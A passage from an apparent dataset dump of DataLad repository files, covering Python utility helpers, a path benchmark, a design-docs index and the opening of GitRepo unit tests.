dirname_)\\n mod = __import__(modname, level=0)\\n finally:\\n if dirname_ in sys.path:\\n sys.path.pop(sys.path.index(dirname_))\\n else:\\n log(\\\"Expected path %s to be within sys.path, but it was gone!\\\" % dirname_)\\n except Exception as e:\\n raise RuntimeError(\\n \\\"Failed to import module from %s\\\" % modpath) from e\\n\\n return mod\\n\\n\\ndef get_encoding_info() -> dict[str, str]:\\n \\\"\\\"\\\"Return a dictionary with various encoding/locale information\\\"\\\"\\\"\\n import locale\\n import sys\\n return dict([\\n ('default', sys.getdefaultencoding()),\\n ('filesystem', sys.getfilesystemencoding()),\\n ('locale.prefered', locale.getpreferredencoding()),\\n ])\\n\\n\\ndef get_envvars_info() -> dict[str, str]:\\n envs = []\\n for var, val in os.environ.items():\\n if (\\n var.startswith('PYTHON') or\\n var.startswith('LC_') or\\n var.startswith('GIT_') or\\n var in ('LANG', 'LANGUAGE', 'PATH')\\n ):\\n envs.append((var, val))\\n return dict(envs)\\n\\n\\n# This class is modified from Snakemake (v5.1.4)\\nclass SequenceFormatter(string.Formatter):\\n \\\"\\\"\\\"string.Formatter subclass with special behavior for sequences.\\n\\n This class delegates formatting of individual elements to another\\n formatter object. Non-list objects are formatted by calling the\\n delegate formatter's \\\"format_field\\\" method. List-like objects\\n (list, tuple, set, frozenset) are formatted by formatting each\\n element of the list according to the specified format spec using\\n the delegate formatter and then joining the resulting strings with\\n a separator (space by default).\\n \\\"\\\"\\\"\\n\\n def __init__(self, separator: str=\\\" \\\", element_formatter: string.Formatter =string.Formatter(),\\n *args: Any, **kwargs: Any) -> None:\\n self.separator = separator\\n self.element_formatter = element_formatter\\n\\n def format_element(self, elem: Any, format_spec: str) -> Any:\\n \\\"\\\"\\\"Format a single element\\n\\n For sequences, this is called once for each element in a\\n sequence. For anything else, it is called on the entire\\n object. It is intended to be overridden in subclases.\\n \\\"\\\"\\\"\\n return self.element_formatter.format_field(elem, format_spec)\\n\\n def format_field(self, value: Any, format_spec: str) -> Any:\\n if isinstance(value, (list, tuple, set, frozenset)):\\n return self.separator.join(self.format_element(v, format_spec)\\n for v in value)\\n else:\\n return self.format_element(value, format_spec)\\n\\n\\n# TODO: eventually we might want to make use of attr module\\nclass File:\\n \\\"\\\"\\\"Helper for a file entry in the create_tree/@with_tree\\n\\n It allows to define additional settings for entries\\n \\\"\\\"\\\"\\n def __init__(self, name: str, executable: bool=False) -> None:\\n \\\"\\\"\\\"\\n\\n Parameters\\n ----------\\n name : str\\n Name of the file\\n executable: bool, optional\\n Make it executable\\n \\\"\\\"\\\"\\n self.name = name\\n self.executable = executable\\n\\n def __str__(self) -> str:\\n return self.name\\n\\n\\nTreeSpec = Union[\\n Tuple[Tuple[Union[str, File], \\\"Load\\\"], ...],\\n List[Tuple[Union[str, File], \\\"Load\\\"]],\\n Dict[Union[str, File], \\\"Load\\\"],\\n]\\n\\nLoad = Union[str, bytes, \\\"TreeSpec\\\"]\\n\\n\\ndef create_tree_archive(path: str, name: str, load: TreeSpec, overwrite: bool=False, archives_leading_dir: bool=True) -> None:\\n \\\"\\\"\\\"Given an archive `name`, create under `path` with specified `load` tree\\n \\\"\\\"\\\"\\n from datalad.support.archives import compress_files\\n dirname = file_basename(name)\\n full_dirname = op.join(path, dirname)\\n os.makedirs(full_dirname)\\n create_tree(full_dirname, load, archives_leading_dir=archives_leading_dir)\\n # create archive\\n if archives_leading_dir:\\n compress_files([dirname], name, path=path, overwrite=overwrite)\\n else:\\n compress_files(\\n # <https://github.com/python/mypy/issues/9864>\\n list(map(basename, glob.glob(op.join(full_dirname, '*')))), # type: ignore[arg-type]\\n op.join(pardir, name),\\n path=op.join(path, dirname),\\n overwrite=overwrite)\\n # remove original tree\\n rmtree(full_dirname)\\n\\n\\ndef create_tree(path: str, tree: TreeSpec, archives_leading_dir: bool =True, remove_existing: bool =False) -> None:\\n \\\"\\\"\\\"Given a list of tuples (name, load) create such a tree\\n\\n if load is a tuple itself -- that would create either a subtree or an archive\\n with that content and place it into the tree if name ends with .tar.gz\\n \\\"\\\"\\\"\\n lgr.log(5, \\\"Creating a tree under %s\\\", path)\\n if not exists(path):\\n os.makedirs(path)\\n\\n if isinstance(tree, dict):\\n tree = list(tree.items())\\n\\n for file_, load in tree:\\n if isinstance(file_, File):\\n executable = file_.executable\\n name = file_.name\\n else:\\n executable = False\\n name = file_\\n full_name = op.join(path, name)\\n if remove_existing and lexists(full_name):\\n rmtree(full_name, chmod_files=True)\\n if isinstance(load, (tuple, list, dict)):\\n if name.endswith('.tar.gz') or name.endswith('.tar') or name.endswith('.zip'):\\n create_tree_archive(\\n path, name, load,\\n archives_leading_dir=archives_leading_dir)\\n else:\\n create_tree(\\n full_name, load,\\n archives_leading_dir=archives_leading_dir,\\n remove_existing=remove_existing)\\n else:\\n if full_name.endswith('.gz'):\\n def open_func() -> IO[bytes]:\\n return gzip.open(full_name, \\\"wb\\\") # type: ignore[return-value]\\n elif full_name.split('.')[-1] in ('xz', 'lzma'):\\n import lzma\\n def open_func() -> IO[bytes]:\\n return lzma.open(full_name, \\\"wb\\\")\\n else:\\n def open_func() -> IO[bytes]:\\n return open(full_name, \\\"wb\\\")\\n with open_func() as f:\\n f.write(ensure_bytes(load, 'utf-8'))\\n if executable:\\n os.chmod(full_name, os.stat(full_name).st_mode | stat.S_IEXEC)\\n\\n\\ndef get_suggestions_msg(values: Optional[str | Iterable[str]], known: str, sep: str=\\\"\\\\n \\\") -> str:\\n \\\"\\\"\\\"Return a formatted string with suggestions for values given the known ones\\n \\\"\\\"\\\"\\n import difflib\\n suggestions = []\\n if not values:\\n values = []\\n elif isinstance(values, str):\\n values = [values]\\n for value in values: # might not want to do it if we change presentation below\\n suggestions += difflib.get_close_matches(value, known)\\n suggestions = unique(suggestions)\\n msg = \\\"Did you mean any of these?\\\"\\n if suggestions:\\n if '\\\\n' in sep:\\n # if separator includes new line - we add entire separator right away\\n msg += sep\\n else:\\n msg += ' '\\n return msg + \\\"%s\\\\n\\\" % sep.join(suggestions)\\n return ''\\n\\n\\ndef bytes2human(n: int | float, format: str ='%(value).1f %(symbol)sB') -> str:\\n \\\"\\\"\\\"\\n Convert n bytes into a human readable string based on format.\\n symbols can be either \\\"customary\\\", \\\"customary_ext\\\", \\\"iec\\\" or \\\"iec_ext\\\",\\n see: http://goo.gl/kTQMs\\n\\n >>> from datalad.utils import bytes2human\\n >>> bytes2human(1)\\n '1.0 B'\\n >>> bytes2human(1024)\\n '1.0 KB'\\n >>> bytes2human(1048576)\\n '1.0 MB'\\n >>> bytes2human(1099511627776127398123789121)\\n '909.5 YB'\\n\\n >>> bytes2human(10000, \\\"%(value).1f %(symbol)s/sec\\\")\\n '9.8 K/sec'\\n\\n >>> # precision can be adjusted by playing with %f operator\\n >>> bytes2human(10000, format=\\\"%(value).5f %(symbol)s\\\")\\n '9.76562 K'\\n\\n Taken from: http://goo.gl/kTQMs and subsequently simplified\\n Original Author: Giampaolo Rodola' <g.rodola [AT] gmail [DOT] com>\\n License: MIT\\n \\\"\\\"\\\"\\n n = int(n)\\n if n < 0:\\n raise ValueError(\\\"n < 0\\\")\\n symbols = ('', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y')\\n prefix = {}\\n for i, s in enumerate(symbols[1:]):\\n prefix[s] = 1 << (i + 1) * 10\\n for symbol in reversed(symbols[1:]):\\n if n >= prefix[symbol]:\\n value = float(n) / prefix[symbol]\\n return format % locals()\\n return format % dict(symbol=symbols[0], value=n)\\n\\n\\ndef quote_cmdlinearg(arg: str) -> str:\\n \\\"\\\"\\\"Perform platform-appropriate argument quoting\\\"\\\"\\\"\\n # https://stackoverflow.com/a/15262019\\n return '\\\"{}\\\"'.format(\\n arg.replace('\\\"', '\\\"\\\"')\\n ) if on_windows else shlex_quote(arg)\\n\\n\\ndef guard_for_format(arg: str) -> str:\\n \\\"\\\"\\\"Replace { and } with {{ and }}\\n\\n To be used in cases if arg is not expected to have provided\\n by user .format() placeholders, but 'arg' might become a part\\n of a composite passed to .format(), e.g. via 'Run'\\n \\\"\\\"\\\"\\n return arg.replace('{', '{{').replace('}', '}}')\\n\\n\\ndef join_cmdline(args: Iterable[str]) -> str:\\n \\\"\\\"\\\"Join command line args into a string using quote_cmdlinearg\\n \\\"\\\"\\\"\\n return ' '.join(map(quote_cmdlinearg, args))\\n\\n\\ndef split_cmdline(s: str) -> list[str]:\\n \\\"\\\"\\\"Perform platform-appropriate command line splitting.\\n\\n Identical to `shlex.split()` on non-windows platforms.\\n\\n Modified from https://stackoverflow.com/a/35900070\\n \\\"\\\"\\\"\\n if not on_windows:\\n return shlex_split(s)\\n\\n # the rest is for windows\\n RE_CMD_LEX = r'''\\\"((?:\\\"\\\"|\\\\\\\\[\\\"\\\\\\\\]|[^\\\"])*)\\\"?()|(\\\\\\\\\\\\\\\\(?=\\\\\\\\*\\\")|\\\\\\\\\\\")|(&&?|\\\\|\\\\|?|\\\\d?>|[<])|([^\\\\s\\\"&|<>]+)|(\\\\s+)|(.)'''\\n\\n args = []\\n accu = None # collects pieces of one arg\\n for qs, qss, esc, pipe, word, white, fail in re.findall(RE_CMD_LEX, s):\\n if word:\\n pass # most frequent\\n elif esc:\\n word = esc[1]\\n elif white or pipe:\\n if accu is not None:\\n args.append(accu)\\n if pipe:\\n args.append(pipe)\\n accu = None\\n continue\\n elif fail:\\n raise ValueError(\\\"invalid or incomplete shell string\\\")\\n elif qs:\\n word = qs.replace('\\\\\\\\\\\"', '\\\"').replace('\\\\\\\\\\\\\\\\', '\\\\\\\\')\\n if platform == 0:\\n word = word.replace('\\\"\\\"', '\\\"')\\n else:\\n word = qss # may be even empty; must be last\\n\\n accu = (accu or '') + word\\n\\n if accu is not None:\\n args.append(accu)\\n\\n return args\\n\\n\\ndef get_wrapped_class(wrapped: Callable) -> type:\\n \\\"\\\"\\\"Determine the command class a wrapped __call__ belongs to\\\"\\\"\\\"\\n mod = sys.modules[wrapped.__module__]\\n command_class_name = wrapped.__qualname__.split('.')[-2]\\n _func_class = mod.__dict__[command_class_name]\\n lgr.debug(\\\"Determined class of decorated function: %s\\\", _func_class)\\n return _func_class\\n\\n\\ndef _make_assure_kludge(fn: Callable[P, T]) -> Callable[P, T]:\\n old_name = fn.__name__.replace(\\\"ensure\\\", \\\"assure\\\")\\n\\n @wraps(fn)\\n def compat_fn(*args: P.args, **kwargs: P.kwargs) -> T:\\n warnings.warn(\\n \\\"{} is deprecated and will be removed in a future release. \\\"\\n \\\"Use {} instead.\\\"\\n .format(old_name, fn.__name__),\\n DeprecationWarning)\\n return fn(*args, **kwargs)\\n\\n compat_fn.__doc__ = (\\\"Note: This function is deprecated. Use {} instead.\\\"\\n .format(fn.__name__))\\n return compat_fn\\n\\n\\nassure_tuple_or_list = _make_assure_kludge(ensure_tuple_or_list)\\nassure_iter = _make_assure_kludge(ensure_iter)\\nassure_list = _make_assure_kludge(ensure_list)\\nassure_list_from_str = _make_assure_kludge(ensure_list_from_str)\\nassure_dict_from_str = _make_assure_kludge(ensure_dict_from_str)\\nassure_bytes = _make_assure_kludge(ensure_bytes)\\nassure_unicode = _make_assure_kludge(ensure_unicode)\\nassure_bool = _make_assure_kludge(ensure_bool)\\nassure_dir = _make_assure_kludge(ensure_dir)\\n\\n\\nlgr.log(5, \\\"Done importing datalad.utils\\\")\\n\\n\\ndef check_symlink_capability(path: Path, target: Path) -> bool:\\n \\\"\\\"\\\"helper similar to datalad.tests.utils_pytest.has_symlink_capability\\n\\n However, for use in a datalad command context, we shouldn't\\n assume to be able to write to tmpfile and also not import a whole lot from\\n datalad's test machinery. Finally, we want to know, whether we can create a\\n symlink at a specific location, not just somewhere. Therefore use\\n arbitrary path to test-build a symlink and delete afterwards. Suitable\\n location can therefore be determined by high lever code.\\n\\n Parameters\\n ----------\\n path: Path\\n target: Path\\n\\n Returns\\n -------\\n bool\\n \\\"\\\"\\\"\\n\\n try:\\n target.touch()\\n path.symlink_to(target)\\n return True\\n except Exception:\\n return False\\n finally:\\n if path.exists():\\n path.unlink()\\n if target.exists():\\n target.unlink()\\n\\n\\ndef obtain_write_permission(path: Path) -> Optional[int]:\\n \\\"\\\"\\\"Obtains write permission for `path` and returns previous mode if a\\n change was actually made.\\n\\n Parameters\\n ----------\\n path: Path\\n path to try to obtain write permission for\\n\\n Returns\\n -------\\n int or None\\n previous mode of `path` as return by stat().st_mode if a change in\\n permission was actually necessary, `None` otherwise.\\n \\\"\\\"\\\"\\n\\n mode = path.stat().st_mode\\n # only IWRITE works on Windows, in principle\\n if not mode & stat.S_IWRITE:\\n path.chmod(mode | stat.S_IWRITE)\\n return mode\\n else:\\n return None\\n\\n\\n@contextmanager\\ndef ensure_write_permission(path: Path) -> Iterator[None]:\\n \\\"\\\"\\\"Context manager to get write permission on `path` and\\n restore original mode afterwards.\\n\\n Parameters\\n ----------\\n path: Path\\n path to the target file\\n\\n Raises\\n ------\\n PermissionError\\n if write permission could not be obtained\\n \\\"\\\"\\\"\\n\\n restore = None\\n try:\\n restore = obtain_write_permission(path)\\n yield\\n finally:\\n if restore is not None:\\n try:\\n path.chmod(restore)\\n except FileNotFoundError:\\n # If `path` was deleted within the context block, there's\\n # nothing to do. Don't test exists(), though - asking for\\n # forgiveness to save a call.\\n pass\\n\"\n },\n {\n \"alpha_fraction\": 0.6390670537948608,\n \"alphanum_fraction\": 0.6425656080245972,\n \"avg_line_length\": 41.875,\n \"blob_id\": \"97b33cdb46ba7abe78a8e177f85b4768a1db21e7\",\n \"content_id\": \"2471c2ae40ca8392ee57afa826f5941c427c07df\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1715,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 40,\n \"path\": \"/benchmarks/support/path.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Import functions to be tested with _ suffix and name the suite after the\\n# original function so we could easily benchmark it e.g. by\\n# asv run --python=same -b get_parent_paths\\n# without need to discover what benchmark to use etc\\n\\nfrom datalad.support.path import get_parent_paths as get_parent_paths_\\n\\nfrom ..common import SuprocBenchmarks\\n\\nclass get_parent_paths(SuprocBenchmarks):\\n\\n def setup(self):\\n # prepare some more or less realistic with a good number of paths\\n # and some hierarchy of submodules\\n self.nfiles = 40 # per each construct\\n self.nsubmod = 30 # at two levels\\n self.toplevel_submods = ['submod%d' % i for i in range(self.nsubmod)]\\n self.posixpaths = \\\\\\n ['file%d' % i for i in range(self.nfiles)] + \\\\\\n ['subdir/anotherfile%d' % i for i in range(self.nfiles)]\\n for submod in range(self.nsubmod):\\n self.posixpaths += \\\\\\n ['submod%d/file%d' % (submod, i) for i in range(self.nfiles)] + \\\\\\n ['subdir/submod%d/file%d' % (submod, i) for i in range(self.nfiles)] + \\\\\\n ['submod/sub%d/file%d' % (submod, i) for i in range(self.nfiles)]\\n\\n def time_no_submods(self):\\n assert get_parent_paths_(self.posixpaths, [], True) == []\\n\\n def time_one_submod_toplevel(self):\\n get_parent_paths_(self.posixpaths, ['submod9'], True)\\n\\n def time_one_submod_subdir(self):\\n get_parent_paths_(self.posixpaths, ['subdir/submod9'], True)\\n\\n def time_allsubmods_toplevel_only(self):\\n get_parent_paths_(self.posixpaths, self.toplevel_submods, True)\\n\\n def time_allsubmods_toplevel(self):\\n get_parent_paths_(self.posixpaths, self.toplevel_submods)\\n\"\n },\n {\n \"alpha_fraction\": 0.6813880205154419,\n \"alphanum_fraction\": 0.6908517479896545,\n \"avg_line_length\": 16.135135650634766,\n \"blob_id\": \"0aa329df9f4549e651189a05912a5eafa41fb120\",\n \"content_id\": \"7e8ee385cb74a1d44512f745f23f7fd0d7504977\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 634,\n \"license_type\": \"permissive\",\n \"max_line_length\": 73,\n \"num_lines\": 37,\n \"path\": \"/docs/source/design/index.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_design:\\n\\n******\\nDesign\\n******\\n\\nThe chapter described command API principles and the design of particular\\nsubsystems in DataLad.\\n\\n.. toctree::\\n :maxdepth: 2\\n\\n cli\\n provenance_capture\\n application_vs_library_mode\\n file_url_handling\\n result_records\\n dataset_argument\\n log_levels\\n drop\\n python_imports\\n miscpatterns\\n exception_handling\\n credentials\\n url_substitution\\n threaded_runner\\n batched_command\\n standard_parameters\\n pos_vs_kw_parameters\\n docstrings\\n progress_reporting\\n github_actions\\n testing\\n user_messaging\\n\"\n },\n {\n \"alpha_fraction\": 0.6141617894172668,\n \"alphanum_fraction\": 0.6216881275177002,\n \"avg_line_length\": 33.44987487792969,\n \"blob_id\": \"c1642bf5ca28589861edac6595d09805666cffb9\",\n \"content_id\": \"79227d08aabb61c8dcad64647cb3686384945538\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 55671,\n \"license_type\": \"permissive\",\n \"max_line_length\": 109,\n \"num_lines\": 1616,\n \"path\": \"/datalad/support/tests/test_gitrepo.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test implementation of class GitRepo\\n\\n\\\"\\\"\\\"\\n\\nimport logging\\nimport os\\nimport os.path as op\\nimport sys\\n\\nimport pytest\\n\\nfrom datalad import get_encoding_info\\nfrom datalad.cmd import (\\n StdOutCapture,\\n StdOutErrCapture,\\n WitlessRunner,\\n)\\nfrom datalad.support.exceptions import (\\n CommandError,\\n FileNotInRepositoryError,\\n InvalidGitRepositoryError,\\n NoSuchPathError,\\n PathKnownToRepositoryError,\\n)\\nfrom datalad.support.external_versions import external_versions\\nfrom datalad.support.gitrepo import (\\n GitRepo,\\n _normalize_path,\\n normalize_paths,\\n to_options,\\n)\\nfrom datalad.support.sshconnector import get_connection_hash\\nfrom datalad.tests.utils_pytest import (\\n DEFAULT_BRANCH,\\n DEFAULT_REMOTE,\\n SkipTest,\\n assert_cwd_unchanged,\\n assert_equal,\\n assert_false,\\n assert_in,\\n assert_in_results,\\n assert_is_instance,\\n assert_not_equal,\\n assert_not_in,\\n assert_raises,\\n assert_repo_status,\\n assert_true,\\n create_tree,\\n eq_,\\n get_most_obscure_supported_name,\\n integration,\\n neq_,\\n ok_,\\n skip_if_no_network,\\n skip_if_on_windows,\\n skip_nomultiplex_ssh,\\n slow,\\n swallow_logs,\\n with_tempfile,\\n with_tree,\\n xfail_buggy_annex_info,\\n)\\nfrom datalad.utils import (\\n Path,\\n chpwd,\\n getpwd,\\n on_windows,\\n rmtree,\\n)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_GitRepo_invalid_path(path=None):\\n with chpwd(path):\\n assert_raises(ValueError, GitRepo, path=\\\"git://some/url\\\", create=True)\\n ok_(not op.exists(op.join(path, \\\"git:\\\")))\\n assert_raises(ValueError, GitRepo, path=\\\"file://some_location/path/at/location\\\", create=True)\\n ok_(not op.exists(op.join(path, \\\"file:\\\")))\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_instance_from_clone(src=None, dst=None):\\n origin = GitRepo(src, create=True)\\n gr = GitRepo.clone(src, dst)\\n assert_is_instance(gr, GitRepo, \\\"GitRepo was not created.\\\")\\n ok_(op.exists(op.join(dst, '.git')))\\n\\n # do it again should raise ValueError since git will notice there's\\n # already a git-repo at that path and therefore can't clone to `dst`\\n # Note: Since GitRepo is now a WeakSingletonRepo, this is prevented from\\n # happening atm. Disabling for now:\\n# raise SkipTest(\\\"Disabled for RF: WeakSingletonRepo\\\")\\n with swallow_logs() as logs:\\n assert_raises(ValueError, GitRepo.clone, src, dst)\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\ndef test_GitRepo_instance_from_existing(path=None):\\n GitRepo(path, create=True)\\n\\n gr = GitRepo(path)\\n assert_is_instance(gr, GitRepo, \\\"GitRepo was not created.\\\")\\n ok_(op.exists(op.join(path, '.git')))\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_instance_from_not_existing(path=None, path2=None):\\n # 1. create=False and path doesn't exist:\\n assert_raises(NoSuchPathError, GitRepo, path, create=False)\\n assert_false(op.exists(path))\\n\\n # 2. create=False, path exists, but no git repo:\\n os.mkdir(path)\\n ok_(op.exists(path))\\n assert_raises(InvalidGitRepositoryError, GitRepo, path, create=False)\\n assert_false(op.exists(op.join(path, '.git')))\\n\\n # 3. create=True, path doesn't exist:\\n gr = GitRepo(path2, create=True)\\n assert_is_instance(gr, GitRepo, \\\"GitRepo was not created.\\\")\\n ok_(op.exists(op.join(path2, '.git')))\\n assert_repo_status(path2, annex=False)\\n\\n # 4. create=True, path exists, but no git repo:\\n gr = GitRepo(path, create=True)\\n assert_is_instance(gr, GitRepo, \\\"GitRepo was not created.\\\")\\n ok_(op.exists(op.join(path, '.git')))\\n assert_repo_status(path, annex=False)\\n\\n\\n@with_tempfile\\ndef test_GitRepo_init_options(path=None):\\n # passing an option, not explicitly defined in GitRepo class:\\n gr = GitRepo(path, create=True, bare=True)\\n ok_(gr.config.getbool(section=\\\"core\\\", option=\\\"bare\\\"))\\n\\n\\n@with_tempfile\\n@with_tempfile(mkdir=True)\\n@with_tree(tree={'somefile': 'content', 'config': 'not a git config'})\\n@with_tree(tree={'afile': 'other',\\n '.git': {}})\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_bare(path=None, empty_dir=None, non_empty_dir=None, empty_dot_git=None, non_bare=None,\\n clone_path=None):\\n\\n import gc\\n\\n # create a bare repo:\\n gr = GitRepo(path, create=True, bare=True)\\n assert_equal(gr.dot_git, gr.pathobj)\\n assert_true(gr.bare)\\n assert_true(gr.config.getbool(\\\"core\\\", \\\"bare\\\"))\\n assert_false((gr.pathobj / '.git').exists())\\n assert_false(gr.call_git_success(['status'], expect_stderr=True))\\n\\n # kill the object and try to get a new instance on an existing bare repo:\\n del gr\\n gc.collect()\\n\\n gr = GitRepo(path, create=False)\\n assert_equal(gr.dot_git, gr.pathobj)\\n assert_true(gr.bare)\\n assert_true(gr.config.getbool(\\\"core\\\", \\\"bare\\\"))\\n assert_false((gr.pathobj / '.git').exists())\\n assert_false(gr.call_git_success(['status'], expect_stderr=True))\\n\\n # an empty dir is not a bare repo:\\n assert_raises(InvalidGitRepositoryError, GitRepo, empty_dir,\\n create=False)\\n\\n # an arbitrary dir is not a bare repo:\\n assert_raises(InvalidGitRepositoryError, GitRepo, non_empty_dir,\\n create=False)\\n\\n # nor is a path with an empty .git:\\n assert_raises(InvalidGitRepositoryError, GitRepo, empty_dot_git,\\n create=False)\\n\\n # a regular repo is not bare\\n non_bare_repo = GitRepo(non_bare, create=True)\\n assert_false(non_bare_repo.bare)\\n\\n # we can have a bare clone\\n clone = GitRepo.clone(non_bare, clone_path, clone_options={'bare': True})\\n assert_true(clone.bare)\\n\\n@with_tree(\\n tree={\\n 'subds': {\\n 'file_name': ''\\n }\\n }\\n)\\ndef test_init_fail_under_known_subdir(path=None):\\n repo = GitRepo(path, create=True)\\n repo.add(op.join('subds', 'file_name'))\\n # Should fail even if we do not commit but only add to index:\\n with assert_raises(PathKnownToRepositoryError) as cme:\\n GitRepo(op.join(path, 'subds'), create=True)\\n assert_in(\\\"file_name\\\", str(cme.value)) # we provide a list of offenders\\n # and after we commit - the same story\\n repo.commit(\\\"added file\\\")\\n with assert_raises(PathKnownToRepositoryError) as cme:\\n GitRepo(op.join(path, 'subds'), create=True)\\n\\n # But it would succeed if we disable the checks\\n GitRepo(op.join(path, 'subds'), create=True, create_sanity_checks=False)\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_equals(path1=None, path2=None):\\n\\n repo1 = GitRepo(path1)\\n repo2 = GitRepo(path1)\\n ok_(repo1 == repo2)\\n eq_(repo1, repo2)\\n repo2 = GitRepo(path2)\\n neq_(repo1, repo2)\\n ok_(repo1 != repo2)\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_add(src=None, path=None):\\n\\n gr = GitRepo(path)\\n filename = get_most_obscure_supported_name()\\n with open(op.join(path, filename), 'w') as f:\\n f.write(\\\"File to add to git\\\")\\n added = gr.add(filename)\\n\\n eq_(added, {'success': True, 'file': filename})\\n assert_in(filename, gr.get_indexed_files(),\\n \\\"%s not successfully added to %s\\\" % (filename, path))\\n # uncommitted:\\n ok_(gr.dirty)\\n\\n filename = \\\"another.txt\\\"\\n with open(op.join(path, filename), 'w') as f:\\n f.write(\\\"Another file to add to git\\\")\\n\\n # include committing:\\n added2 = gr.add(filename)\\n gr.commit(msg=\\\"Add two files.\\\")\\n eq_(added2, {'success': True, 'file': filename})\\n\\n assert_in(filename, gr.get_indexed_files(),\\n \\\"%s not successfully added to %s\\\" % (filename, path))\\n assert_repo_status(path)\\n\\n\\n@assert_cwd_unchanged\\n@with_tree(tree={\\n 'd': {'f1': 'content1',\\n 'f2': 'content2'},\\n 'file': 'content3',\\n 'd2': {'f1': 'content1',\\n 'f2': 'content2'},\\n 'file2': 'content3'\\n\\n })\\ndef test_GitRepo_remove(path=None):\\n\\n gr = GitRepo(path, create=True)\\n gr.add('*')\\n gr.commit(\\\"committing all the files\\\")\\n\\n eq_(gr.remove('file'), ['file'])\\n eq_(set(gr.remove('d', r=True, f=True)), {'d/f1', 'd/f2'})\\n\\n eq_(set(gr.remove('*', r=True, f=True)), {'file2', 'd2/f1', 'd2/f2'})\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\ndef test_GitRepo_commit(path=None):\\n\\n gr = GitRepo(path)\\n filename = get_most_obscure_supported_name()\\n with open(op.join(path, filename), 'w') as f:\\n f.write(\\\"File to add to git\\\")\\n\\n gr.add(filename)\\n gr.commit(\\\"Testing GitRepo.commit().\\\")\\n assert_repo_status(gr)\\n eq_(\\\"Testing GitRepo.commit().\\\",\\n gr.format_commit(\\\"%B\\\").strip())\\n\\n with open(op.join(path, filename), 'w') as f:\\n f.write(\\\"changed content\\\")\\n\\n gr.add(filename)\\n gr.commit(\\\"commit with options\\\", options=to_options(dry_run=True))\\n # wasn't actually committed:\\n ok_(gr.dirty)\\n\\n # commit with empty message:\\n gr.commit()\\n assert_repo_status(gr)\\n assert_equal(gr.format_commit(\\\"%B\\\").strip(), \\\"[DATALAD] Recorded changes\\\")\\n\\n # amend commit:\\n assert_equal(len(list(gr.get_branch_commits_())), 2)\\n last_sha = gr.get_hexsha()\\n with open(op.join(path, filename), 'w') as f:\\n f.write(\\\"changed again\\\")\\n gr.add(filename)\\n gr.commit(\\\"amend message\\\", options=to_options(amend=True))\\n assert_repo_status(gr)\\n assert_equal(gr.format_commit(\\\"%B\\\").strip(), \\\"amend message\\\")\\n assert_not_equal(last_sha, gr.get_hexsha())\\n assert_equal(len(list(gr.get_branch_commits_())), 2)\\n # amend w/o message maintains previous one:\\n gr.commit(options=to_options(amend=True))\\n assert_repo_status(gr)\\n assert_equal(len(list(gr.get_branch_commits_())), 2)\\n assert_equal(gr.format_commit(\\\"%B\\\").strip(), \\\"amend message\\\")\\n\\n # nothing to commit doesn't raise by default:\\n gr.commit()\\n # but does with careless=False:\\n assert_raises(CommandError, gr.commit, careless=False)\\n\\n # committing untracked file raises:\\n with open(op.join(path, \\\"untracked\\\"), \\\"w\\\") as f:\\n f.write(\\\"some\\\")\\n assert_raises(FileNotInRepositoryError, gr.commit, files=\\\"untracked\\\")\\n # not existing file as well:\\n assert_raises(FileNotInRepositoryError, gr.commit, files=\\\"not-existing\\\")\\n\\n\\n@with_tempfile\\ndef test_GitRepo_get_indexed_files(path=None):\\n\\n gr = GitRepo(path)\\n for filename in ('some1.txt', 'some2.dat'):\\n with open(op.join(path, filename), 'w') as f:\\n f.write(filename)\\n gr.add(filename)\\n gr.commit('Some files')\\n\\n idx_list = gr.get_indexed_files()\\n\\n runner = WitlessRunner(cwd=path)\\n out = runner.run(['git', 'ls-files'], protocol=StdOutCapture)\\n out_list = list(filter(bool, out['stdout'].split('\\\\n')))\\n\\n for item in idx_list:\\n assert_in(item, out_list, \\\"%s not found in output of git ls-files in %s\\\" % (item, path))\\n for item in out_list:\\n assert_in(item, idx_list, \\\"%s not found in output of get_indexed_files in %s\\\" % (item, path))\\n\\n\\n@with_tree([\\n ('empty', ''),\\n ('d1', (\\n ('empty', ''),\\n ('d2',\\n (('empty', ''),\\n )),\\n )),\\n ])\\n@assert_cwd_unchanged(ok_to_chdir=True)\\ndef test_normalize_path(git_path=None):\\n\\n gr = GitRepo(git_path)\\n\\n # cwd is currently outside the repo, so any relative path\\n # should be interpreted as relative to `annex_path`\\n assert_raises(FileNotInRepositoryError, _normalize_path, gr.path, getpwd())\\n\\n result = _normalize_path(gr.path, \\\"testfile\\\")\\n eq_(result, \\\"testfile\\\", \\\"_normalize_path() returned 